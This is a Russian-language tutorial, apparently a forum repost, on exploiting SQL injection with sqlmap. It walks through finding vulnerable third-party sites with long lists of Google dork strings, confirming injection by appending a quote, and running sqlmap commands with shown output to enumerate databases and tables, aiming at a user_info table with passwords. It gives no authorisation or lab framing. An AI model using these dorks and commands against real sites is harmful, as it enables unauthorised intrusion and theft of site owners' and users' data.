SQLMAP-обнаружение и эксплуатация SQL инъекции: детальное разъяснение (2 часть)
Sqlmap является инструментом для тестирования на проникновение с открытым исходным кодом, который автоматизирует процесс обнаружения и эксплуатации недостатков SQL-инъекций и захвата серверов баз данных.
Он оснащен мощным механизмом обнаружения, множеством функций конечного тестировщика на проникновения и широким спектром коммутаторов, который начинается от определения базы данных и выбора данных из нее, вплоть до доступа к базовой файловой системе и выполнения команд в операционной системе через внеполосное соединение.
Будущее инструмента:
- Полная поддержка систем управления базами данных MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB и Informix.
- Полная поддержка шести методов SQL-инъекций: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries и out-of-band.
- Поддержка прямого подключения к базе данных без прохождения через SQL-инъекцию, путем предоставления учетных данных СУБД (система управления базой данных (DBMS)), IP-адреса, имени порта и названия базы данных.
- Поддержка перечисления пользователей, хэшей паролей, прав доступа, ролей, баз данных, таблиц и столбцов.
- Автоматическое распознавание хэш-форматов пароля и поддержка их взлома при использовании атаки перебора по словарю (dictionary-based attack).
- Поддержка полного сброса таблиц базы данных, диапазон записей для сброса или конкретных столбцов выбирает пользователь. Также пользователь может выбрать сброс всего диапазона символов из каждой записи столбца.
- Поддержка поиска конкретных имен баз данных, конкретных таблиц во всех базах данных или отдельных столбцах во всех таблицах баз данных. Это довольно полезно, например, для определения таблиц, содержащих пользовательские учетные данные приложения, где имена соответствующих столбцов содержат строку, такую как имя и пароль.
- Поддержка скачивания (download) и загрузки (upload) любого файла с базы данных, лежащей в основе файловой системы, когда программным обеспечением базы данных являются MySQL, PostgreSQL или Microsoft SQL Server.
- Поддержка выполнения случайных команд и получение их стандартного вывода на сервере базы данных, лежащем в основе операционной системы, когда программным обеспечением базы данных являются MySQL, PostgreSQL или Microsoft SQL Server.
- Поддержка создания внеполосного TCP-соединения с учетом его состояния между машиной злоумышленника и сервером базы данных, лежащим в основе операционной системы. Этот канал может быть интерактивной командной строкой, сеансом Meterpreter или сеансом графического интерфейса пользователя (VNC) по выбору пользователя.
- Поддержка увеличения прав доступа пользователей базы данных с помощью команды metasploit Meterpreter getsystem.
sqlmap способна определять и эксплуатировать пять различных типов SQL инъекций, таких как:
Boolean-based blind:
- sqlmap заменяет или добавляет к пораженному параметру в HTTP-запросе, синтаксически корректную строку предложения SQL, содержащую субпредложение SELECT, или любое другое предложение SQL, пользователь которого хочет получить вывод.
- Для каждого отклика HTTP путем сопоставления headers/body HTTP-отклика с исходным запросом инструмент выводит вывод введенного предложения символ за символом. Кроме того, пользователь может предоставить строку или регулярное выражение для соответствия на настоящих страницах.
- Алгоритм деления пополам, реализованный в sqlmap для выполнения этой методики, способен извлекать каждый символ вывода с максимальным количеством семи HTTP-запросов.
- Если вывод не находится в четкой текстовой кодировке, sqlmap будет адаптировать алгоритм с более большим диапазонами для определения вывода.
- sqlmap заменяет или добавляет к пораженному параметру в HTTP-запросе, синтаксически корректную строку предложения SQL, содержащую запрос, который приостанавливает внутренний СУБД (система управления базой данных (DBMS)) на определенное количество секунд.
- Для каждого отклика HTTP путем сопоставления headers/body HTTP-отклика с исходным запросом инструмент выводит вывод введенного предложения символ за символом. Как и для Boolean-based метода, применяется алгоритм деления пополам.
- sqlmap заменяет или добавляет к пораженному параметру конкретное сообщение об ошибке базы данных, вызывая предложения и анализируя headers и body отклика HTTP в поисках сообщений об ошибках СУБД (система управления базой данных (DBMS)), содержащих введенную предварительно определенную цепочку символов и вывод подзапроса предложения внутри.
- Этот метод работает только тогда, когда веб-приложение настроено для раскрытия системных сообщений об ошибках системы управления базой данных.
- sqlmap заменяет или добавляет к пораженному параметру синтаксически корректную строку предложения SQL, которая начинается с UNION ALL SELECT. Этот метод работает, когда страница веб-приложения передает непосредственно вывод предложения SELECT в цикле for или аналогично, так что каждая строка вывода запроса печатается на содержимом страницы.
- sqlmap также может использовать частичные (одиночные записи) уязвимости UNION query SQL инъекции, которые возникают, когда вывод предложения не циклируется в логической структуре for, тогда как отображается только первая запись вывода запроса.
- также известна как piggy backing: sqlmap проверяет, поддерживает ли веб-приложение многострочные запросы, а затем, если оно поддерживает, добавляет к пораженному параметру в HTTP-запросе, в котором используется точка с запятой ( ; ) с предложением SQL, которое должно быть выполнено.
- Этот метод полезен для запуска предложений SQL, помимо SELECT, как например, для определения данных или предложений манипулирования данными, что может привести к выполнению команд чтения и записи файловой системы и операционной системы в зависимости от лежащей в основе системы управления базами данных и правами доступа пользователя сеанса.
Обычно это самый сложный бит и занимает больше времени, чем любые другие шаги. Те, кто знает, как использовать Google Dorks, знают об этом уже, но в случае, если вы не сталкивались с этим ранее, я собрал несколько строк, которые вы можете забить в поиск в Google. Просто скопируйте любую из строк в Google, и Google покажет вам ряд результатов поиска.
Google dork:
Google dorks - их оставляют сотрудники, которые неосознанно предоставляют конфиденциальную корпоративную информацию в Интернете. Слово dork является сленгом для малозначительного или малоспособного человека.
Google dork ставит под угрозу корпоративную информацию, потому что они невольно создают бэкдоры, которые позволяют злоумышленнику войти в сеть без разрешения и/или получить доступ к несанкционированной информации. Чтобы найти конфиденциальную информацию, злоумышленники используют расширенные строки поиска, называемые запросами Google dork.
Строки Google Dorks для поиска уязвимого веб-сайта для SQLMAP SQL для инъекций:
Строка Google Dork колонка 1
Код:
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:index.php?catid=
inurl:news.php?catid=
inurl:index.php?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
Код:
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:eek:pinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:eek:ffer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:eek:gl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:eek:pinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
Код:
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
about.php?cartID=
accinfo.php?cartId=
add-to-cart.php?ID=
addToCart.php?idProduct=
addtomylist.php?ProdId=
Шаг 1: Первоначальная проверка для того, чтобы убедиться, что сайт уязвим для SQLMAP SQL инъекции
Для каждой строки указанной выше вы получите сотни результатов поиска, но как вы узнаете, какой из них действительно уязвим для SQLMAP SQL инъекции. Есть несколько способов, и я уверен, что люди будут спорить, какой из них лучше, но для меня следующее является самым простым и самым убедительным.
Предположим, вы искали эту строку inurl:item_id= и один из результатов поиска Google показывает такой веб-сайт:
Код:
http://www.gbhackers.com/products_showitem_clemco.php?item_id=28434
Итак, теперь ваш URL-адрес будет выглядеть следующим образом:
Код:
http://www.gbhackers.com/products_showitem_clemco.php?item_id=28434'
Смотрите пример ошибки ниже на скриншоте. Я скрыл все, включая URL и дизайн страниц по очевидным причинам.
Примеры ошибок SQLi из разных баз данных и языков
Microsoft SQL Сервер
Ошибка сервера в ‘/’ приложении. Незакрытая кавычка перед символьной строкой 'attack;'.
Описание: Необработанное исключение возникло во время выполнения текущего веб-запроса. Просмотрите трассировку стека для получения дополнительной информации об ошибке, когда она возникла в коде.
Сведения об исключении: System.Data.SqlClient.SqlException: незакрытая кавычка перед символьной строкой 'attack;'.
Ошибки MySQL
Предупреждение: mysql_fetch_array (): предоставленный аргумент не является допустимым MySQL результатом ресурса в /var/www/myawesomestore.com/buystuff.php в строке 12
Ошибка: У вас есть ошибка в синтаксисе SQL: проверьте руководство, соответствующее версии вашего сервера MySQL, для правильного синтаксиса, используемого рядом с ‘’’ в строке 12
Ошибки Oracle
java.sql.SQLException: ORA-00933: команда SQL не была закончена в oracle.jdbc.dbaaccess.DBError.throwSqlException (DBError.java:180) в oracle.jdbc.ttc7.TTIoer.processError (TTIoer.java:208)
Ошибка: SQLExceptionjava.sql.SQLException: ORA-01756: строка с кавычками не завершена
Ошибки PostgreSQL
Запрос не выполнен: ОШИБКА: незавершенная строка с кавычками в или рядом с “‘’’”
Шаг 2: Перечисление СУБД баз данных с использованием SQLMAP SQL инъекции:
Как вы можете видеть на скриншоте выше, я нашел веб-сайт уязвимый к SQLMAP SQL инъекции. Теперь мне нужно перечислить все базы данных в этой уязвимой базе данных. (это также называется перечислением числа столбцов). Ввиду того, что я использую SQLMAP, он также скажет мне, какая именно уязвима.
Запустите следующую команду на вашем уязвимом веб-сайте.
Код:
sqlmap -u http://www.gbhackers.com/products_showitem_clemco.php?item_id=28434 --dbs
sqlmap = Название sqlmap двоичного файла
-u = Целевой URL-адрес (e.g. “
Ссылка скрыта от гостей
)–dbs = Перечислить СУБД базы данных
Смотрите скриншот ниже.
Эти команды показывают немало интересной информации:
Код:
web application technology: Apache
back-end DBMS: MySQL 5.0
[10:55:53] [INFO] retrieved: information_schema
[10:55:56] [INFO] retrieved: gbhackers
[10:55:56] [INFO] fetched data logged to text files under
'/usr/share/sqlmap/output/www.gbhackers.com'
Шаг 3: Список таблиц целевой базы данных с использованием SQLMAP SQL инъекции:
Теперь нам нужно знать, сколько таблиц получила база данных clemcoindustries и каковы их имена. Чтобы узнать эту информацию, используйте следующую команду:
Код:
sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D
clemcoindustries --tables
Код:
[10:56:20] [INFO] fetching tables for database: 'gbhackers'
[10:56:22] [INFO] heuristics detected web page charset 'ISO-8859-2'
[10:56:22] [INFO] the SQL query used returns 8 entries
[10:56:25] [INFO] retrieved: item
[10:56:27] [INFO] retrieved: link
[10:56:30] [INFO] retrieved: other
[10:56:32] [INFO] retrieved: picture
[10:56:34] [INFO] retrieved: picture_tag
[10:56:37] [INFO] retrieved: popular_picture
[10:56:39] [INFO] retrieved: popular_tag
[10:56:42] [INFO] retrieved: user_info
и, конечно, мы хотим проверить, что внутри таблицы user_info, используя SQLMAP SQL инъекцию, поскольку эта таблица, вероятно, содержит имя пользователя и пароли.
Источник:
Ссылка скрыта от гостей